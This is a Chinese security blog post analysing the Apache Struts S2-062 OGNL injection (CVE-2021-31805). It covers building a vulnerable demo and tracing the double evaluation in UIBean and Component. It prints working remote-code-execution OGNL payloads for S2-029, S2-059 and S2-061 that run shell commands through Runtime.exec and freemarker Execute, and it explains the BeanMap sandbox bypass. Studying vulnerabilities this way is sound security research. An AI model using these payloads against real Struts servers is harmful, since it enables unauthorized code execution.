Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记

admin 2022年4月23日01:26:22评论188 views字数 13064阅读43分32秒阅读模式

 为啥写的poc老不对?说不定是二手文章看多了,少看二手文章,少用二手poc,从你我做起


最近Apache Struts2 又又又又曝新漏洞了,虽然漏洞危害不及当年,但是作为一个学习漏洞案例还是比较经典的。尤其是这一系列漏洞玩了这么多年,却没真正上手研究过,实属有些惭愧,借此还是多深入研究下。而且网上的二手文章太多了,有点给人看吐了,感觉确实还是得自己记录下。


01

前置知识及环境篇


讲真一开始以为这么经典的洞,应该有一堆现成的源码环境等着我挑吧。但发现并不是,全都是打包好的环境,很方便,但是不利于我们去探究原理。

所以这里只能手动构造下环境了,这里为了方便调试,使用idea来搭建。

但在这之前,我发现先了解一些关于struts的基础知识,再去搭建环境可能会理解的更深。


首先是Struts执行流程,对于一次请求的执行流程网上流传着一些很经典的图:

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记


过程大概分为以下几个步骤:

  1. Servlet Filters(web.xml中配置):首先请求会来到 servlet 容器,这是我们的核心过滤器,也就是通常在tomcat的 web.xml 中配置的 filter 及 filter-mapping,比如这里配置FilterDispatcher将 /* 全部的路由交给 struts2 来处理。比如如下web.xml

    Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记

  2. Action(strtus.xml中配置):然后请求被转发到struts core的部分,ActionMapper根据访问路径,找到处理这个请求对应的 Action 控制类。比如,如下strtus.xml

    Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记

  3. Interceptor-stack(struts-default.xml中):然后请求会来到一系列执行拦截器Interceptors,拦截器可能在执行action之前,也可能在其后,通常在 struts-core 包中 struts-default.xml 文件配置的默认的一些拦截器。

  4. Result:由 Action 控制类运行execute方法,执行请求的处理,执行结果可能是视图文件,可能是去访问另一个 Action,最后将结果Result 返回到我们的页面。


所以按照上述流程,去依次配置我们的环境,就可以简单搭建一个struts的demo。


拿idea来举例:

1. maven创建普通web项目

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记

2. 添加struts2依赖

<dependencies> <dependency> <groupId>org.apache.struts</groupId> <artifactId>struts2-core</artifactId> <version>2.5.26</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.2</version> </dependency></dependencies>

3. 修改WEB-INF/web.xml文件

<?xml version="1.0" encoding="UTF-8"?><web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<!-- 配置 Struts2 的 Filter 旧版本的会有不同 --> <filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class> </filter>
<filter-mapping> <filter-name>struts2</filter-name> <url-pattern>/*</url-pattern> </filter-mapping></web-app>

4. 在/src/mian下创建java和resource文件夹

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记

如果上方两个文件夹没有自动被idea解析(依旧是灰色的普通文件夹)可以按照下图操作

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记

5. 在resources目录下添加struts.xml文件

<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts> <constant name="struts.devMode" value="false"/> <!-- 解决乱码问题 --> <!--<constant name="struts.custom.i18n.resources" value="global"/>--> <!-- <constant name="struts.multipart.parser" value="jakarta-stream" /> --> <!--constant name="struts.multipart.maxSize" value="1" /-->
<!-- 所有的Action配置都应放在package下,name定义包名,extends定义继承包空间 --> <package name="default" namespace="/" extends="struts-default"> <default-action-ref name="index"/> <!-- Action配置可以有多对;name是对业务控制器命名 在表单中指定的action的名字需要与该名字一致;class指定Action类的位置 --> <action name="index" class="com.ccc.action.IndexAction" method="execPayload"> <result>index.jsp</result> </action> </package></struts>

6.新建一个action类,

实现一个 Action 控制类一共有 3 种方式:

  • Action 写为一个 POJO 类,并且包含 excute() 方法。

  • Action 类实现 Action 接口。

  • Action 类继承 ActionSupport 类。


7. 修改jsp,

如果在 jsp 中想使用 struts2 的标签,需要在头部声明: 

<%@taglib prefix="s" uri="/struts-tags" %>,对于各个标签的属性及处理类,在 struts2-core 包中的 struts-tags.tld 中进行了定义,在对标签进行解析时,会根据不同的 tag 类型找到不同的 TagSupport 的实现类进行处理。

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %><%@ taglib prefix="s" uri="/struts-tags" %>
<html><head> <title>S2-062 demo</title>
</head><div> <s:label id="test2" name="%{payload}" /> s2-062:your input payload: ${payload}</div>
</body></html>



02

漏洞复现与分析部分


回顾一下历史:

本次的s2-062根据官方说明其实是s2-061的绕过。

所以回溯一下,发现s2-061 与 s2-059类似,而s2-059又有与S2-029/S2-036类似的漏洞点。。。。

可以说是,从S2-029起触发点就是基本类似的徘徊于不同标签、不同属性之间,然后就是不同payload的来回绕过。。。。

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记


大概回顾一下S2-029(CVE-2016-0785)主要成因:

是因为 name属性处理的时候会经过两次ognl解析,该值将在渲染标签的属性时再次解析,从而导致远程代码执行。比如struts2的i18n,text等标签。

而S2-036(CVE-2016-4461)和 S2-029 一样:比如 tag 内属性使用 %{...} 会导致 RCE。

网上流传的关于S2-029 poc:

<%request.setAttribute("lan", "'),#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#[email protected]@getRuntime(),#a.exec('touch/tmp/fuckxxx'),new java.lang.String('");%>
<s:i18n name="%{#request.lan}">xxxxx</s:i18n>


然后是S2-059的漏洞成因:

也是会对某些标签属性(比如 `id`,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 `%{x}` 且 `x` 的值用户可控时,用户再传入一个 `%{payload}` 即可造成OGNL表达式执行。描述受影响的标签属性为 S2-059

流传的poc:

payload=%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D%40java.lang.Runtime%40getRuntime()%2C%23s%3Dnew%20java.util.Scanner(%23a.exec('ls%20-al').getInputStream()).useDelimiter('%5C%5C%5C%5CA')%2C%23str%3D%23s.hasNext()%3F%23s.next()%3A''%2C%23res.print(%23str)%2C%23res.close()%0A%7d转码:payload=%{#_memberAccess.allowPrivateAccess=true,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludedClasses=#_memberAccess.acceptProperties,#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties,#[email protected]@getResponse().getWriter(),#[email protected]@getRuntime(),#s=new java.util.Scanner(#a.exec('ls -al').getInputStream()).useDelimiter('\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()}


最后就是我们重点要区分的 S2-061,这里据官方描述也是和 S2-059 同样的漏洞,只不过是进行了一些绕过。

描述受影响的标签属性为:<s:a id="%{id}">S2-061</s:a>

<s:a id="%{id}">S2-061</s:a>

目前网上流传着这样一些poc:

poc1:

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

poc2:

%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}

poc3:

%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'open -a calculator'}))}


而S2-062的poc,根据国外大佬的文章应该是这样的:

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记


(现在回想一下你们的二手文章中的假poc,是不是大都和061的差不多)


Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记


那我们就看看为啥那些poc不行,以及新的为啥可以。


调试:

首先在jsp中的标签出打下断点

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记


对于标签的解析从

org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag开始:

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记

id属性和name属性

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记

然后到org.apache.struts2.views.jsp.ComponentTagSupport#doEndTag结束

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记

随后会进入org.apache.struts2.components.UIBean#end

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记

org.apache.struts2.components.UIBean#evaluateParams

这里将我们payload赋值给name属性

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记

然后是一系列属性的判断(可以检查下后期这些属性有没有可能利用)

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记

然后是标签不存在value属性时

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记

后续会进入这里

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记

在org.apache.struts2.components.Component#completeExpressionIfAltSyntax中,会判断altSyntax(默认为True)。(如果altSyntax功能开启(此功能在S2-001的修复方案是将其默认关闭),altSyntax这个功能是将标签内的内容当作OGNL表达式解析,关闭了之后标签内的内容就不会当作OGNL表达式解析了。)

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记

并在org.apache.struts2.util.ComponentUtils#containsExpression中检查是否包含%{},包含就不添加%{}不包含就加上'%{}'

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记

当传入的payload中含有'%{}',在

org.apache.struts2.components.Component#recursion中进行判断,后为True

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记


此时无法进入下方的findValue,只有传入值没有'%{}',recursion返回False,才可以进入findValue,完成第二次OGNL表达式赋值,从而触发表达式注入漏洞。

所以,这也是为什么含有‘%{}’的poc是不可能触发漏洞的。

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记


从代码的diff也可以看出来,为啥老的版本poc可以有"%{}",但新版本不可以

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记

比如当我们这里的payload改成‘3*3’,

org.apache.struts2.components.Component#completeExpressionIfAltSyntax,在判断后,发现没有"%{}",就会将我们的payload,自动加上"%{}"

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记


这时,后续recursion(name),由于name不含"%{}",判断就变为了false,从而进入后续findValue(expr, valueClazz)才会触发二次解析,再之后的过程就和059/061类似了。而此时的expr正好经过变形,变成了表达式%{3*3}。

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记

可以看到nameValue的值经过findValue被成功解析

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记

后续的过程就和之前版本的很类似了


如何绕过沙箱

上面已经实现了OGNL表达式注入,但是我们还需要绕过沙箱才能实现RCE。

首先回顾S2-061实现命令执行方式:

%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'open -a calculator'}))}

由于Struts v2.5.26之后,将"org.apache.tomcat."加入了黑名单,所以无法获取`BeanMap`对象。这也是为啥旧的poc用不了的原因之一。

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记


但国外大佬探索出来一个新的语法,绕过了这一限制:

比如:

https://<domain>/?skillName=#@java.util.LinkedHashMap@{"foo":"value"} 

就可以创建一个LinkedHashMap对象

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记

于是通过下面语法就可以构造新的poc,

#@org.apache.commons.collections.BeanMap@{}

由于org.apache.commons.collections.BeanMap目前也不在黑名单中,最终就构造出如下poc:

Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记



Callstack

执行后的调用栈和先前的漏洞类似,最终都是靠getValue来解析执行OGNL表达式

getValue:542, Ognl (ognl)execute:500, OgnlUtil$4 (com.opensymphony.xwork2.ognl)compileAndExecute:523, OgnlUtil (com.opensymphony.xwork2.ognl)getValue:498, OgnlUtil (com.opensymphony.xwork2.ognl)getValue:371, OgnlValueStack (com.opensymphony.xwork2.ognl)tryFindValue:359, OgnlValueStack (com.opensymphony.xwork2.ognl)tryFindValueWhenExpressionIsNotNull:328, OgnlValueStack (com.opensymphony.xwork2.ognl)findValue:312, OgnlValueStack (com.opensymphony.xwork2.ognl)findValue:379, OgnlValueStack (com.opensymphony.xwork2.ognl)evaluate:159, TextParseUtil$1 (com.opensymphony.xwork2.util)evaluate:67, OgnlTextParser (com.opensymphony.xwork2.util)translateVariables:169, TextParseUtil (com.opensymphony.xwork2.util)translateVariables:112, TextParseUtil (com.opensymphony.xwork2.util)translateVariables:85, TextParseUtil (com.opensymphony.xwork2.util)findValue:374, Component (org.apache.struts2.components)evaluateParams:806, UIBean (org.apache.struts2.components)end:536, UIBean (org.apache.struts2.components)doEndTag:39, ComponentTagSupport (org.apache.struts2.views.jsp)_jspx_meth_s_005flabel_005f0:20, index_jsp (org.apache.jsp)_jspService:20, index_jsp (org.apache.jsp)


--- END ---

有钱的捧个钱场,没钱的来个三连呀


本演示仅用于学习和研究,请在实验环境中运行,请勿用于其他任何非法用途,否则后果自负!


参考:

https://mp.weixin.qq.com/s/fEgn4Ci300_5bMpPzjVyUg

https://javasec.org/java-vuls/Struts

https://blog.csdn.net/vay_ee/article/details/114903190

https://blog.csdn.net/scgyus/article/details/79388089


加餐:代码框版的S2-062 payload

伪付费文章,没别的内容了,贴一个代码框版的payload(其实没必要,前面都放出来了)。

其次,幸幸苦苦写很久,也是为了避免盗文章。

这里就全当是打赏了,感觉有用就打赏个今天打工下班的公交车钱啦。


S2-062:

原文始发于微信公众号(hijackY):Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日01:26:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Struts系列S2-062(CVE-2021-31805)分析学习笔记http://cn-sec.com/archives/930545.html

发表评论

匿名网友 填写信息